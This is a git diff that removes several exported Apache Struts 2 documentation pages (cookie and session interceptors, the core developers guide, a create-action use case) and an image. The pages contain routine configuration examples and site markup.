-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="cookieprovider-interceptor.html">CookieProvider Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">CookieProvider Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31822465">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31822465">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31822465">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31822465">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31822465">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31822465">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Allows actions to send cookies to client, action must implement CookieProvider
-You must reference this interceptor in your default stack or in action's stack, see example below.</p>
-
-<p>Parameters</p>
-
-<p>none</p>
-
-
-<p>Extending the Interceptor</p>
-
-<p></p><ul><li>addCookiesToResponse - this method applies cookie created by action to response</li></ul>
-
-
-<p>Examples</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;action ... &gt;
-  &lt;interceptor-ref name=&quot;defaultStack&quot;/&gt;
-  &lt;interceptor-ref name=&quot;cookieProvider&quot;/&gt;
-  ...
-&lt;/action&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/core-developers-guide.html b/content/docs/core-developers-guide.html
deleted file mode 100644
index 080595d..0000000
--- a/content/docs/core-developers-guide.html
+++ /dev/null
@@ -1,255 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Core Developers Guide</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Core Developers Guide</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13945">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13945">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13945">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13945">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13945">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13945">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Struts 2 processes requests using three core types: <a shape="rect" href="interceptor-configuration.html">interceptors</a>, <a shape="rect" href="action-configuration.html">actions</a>, and <a shape="rect" href="result-configuration.html">results</a>. Each may be configured via XML or annotations.</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><ul><li>Developing Applications  [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/create-action.html b/content/docs/create-action.html
deleted file mode 100644
index 746bb4e..0000000
--- a/content/docs/create-action.html
+++ /dev/null
@@ -1,172 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Create Action</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="requirements.html">Requirements</a>&nbsp;&gt;&nbsp;<a href="use-cases.html">Use Cases</a>&nbsp;&gt;&nbsp;<a href="create-action.html">Create Action</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Create Action</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29367">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29367">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29367">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29367">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29367">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29367">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="CreateAction-Narrative">Narrative</h2>
-
-
-
-<h2 id="CreateAction-Goal">Goal</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Goal </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Create Action</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Level </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> User Goal </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> (User Goal, Summary,  Subfunction) </p></td></tr><tr><th colspan="1" rowspan="1" cla [...]
-
-
-<h2 id="CreateAction-MainSuccessScenario(MSS)">Main Success Scenario (MSS)</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Step </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Action </p></th></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> 1 </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Create class that implements Action interface. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <img class="emoticon emoticon-plus" src="https://cwiki. [...]
-
-
-<h2 id="CreateAction-Extensions">Extensions <img class="emoticon emoticon-plus" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/add.png" data-emoticon-name="plus" alt="(plus)"></h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Step </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Branching Action </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> 1a   </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Utilize  [...]
-
-
-<hr>
-
-<h2 id="CreateAction-PreconditionsandGuarantees">Preconditions and Guarantees</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Preconditions </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Minimal Guarantees </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Success Guarantees </p></th><td colspan="1" rowspan="1" class="c [...]
-
-
-<h2 id="CreateAction-StakeholdersandInterests">Stakeholders and Interests</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Stakeholder </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Interest </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr></tbody></table></div>
-
-
-<h2 id="CreateAction-Variations">Variations </h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Step </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Variation </p></th></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>&#160;</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr></tbody></table></div>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/create-session-interceptor.html b/content/docs/create-session-interceptor.html
deleted file mode 100644
index e5ed146..0000000
--- a/content/docs/create-session-interceptor.html
+++ /dev/null
@@ -1,187 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Create Session Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="create-session-interceptor.html">Create Session Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Create Session Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13992">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13992">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13992">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13992">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13992">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13992">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p></p><p>
-This interceptor creates the HttpSession if it doesn't exist, also SessionMap is recreated and put in ServletActionContext.
-</p>
-
-<p></p><p>
-This is particular useful when using the &lt;@s.token&gt; tag in freemarker templates.
-The tag <b>do</b> require that a HttpSession is already created since freemarker commits
-the response to the client immediately.
-</p>
-
-<h2 id="CreateSessionInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul><li>None</li></ul>
-
-
-<h2 id="CreateSessionInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-
-<p></p><ul><li>None</li></ul>
-
-
-<h2 id="CreateSessionInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;createSession&quot;/&gt;
-    &lt;interceptor-ref name=&quot;defaultStack&quot;/&gt;
-    &lt;result name=&quot;input&quot;&gt;input_with_token_tag.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/create-struts-2-web-application-using-maven-to-manage-artifacts-and-to-build-the-application.data/Basic_Struts2_Mvn.png b/content/docs/create-struts-2-web-application-using-maven-to-manage-artifacts-and-to-build-the-application.data/Basic_Struts2_Mvn.png
deleted file mode 100644
index 4b2bdb3..0000000
Binary files a/content/docs/create-struts-2-web-application-using-maven-to-manage-artifacts-and-to-build-the-application.data/Basic_Struts2_Mvn.png and /dev/null differ
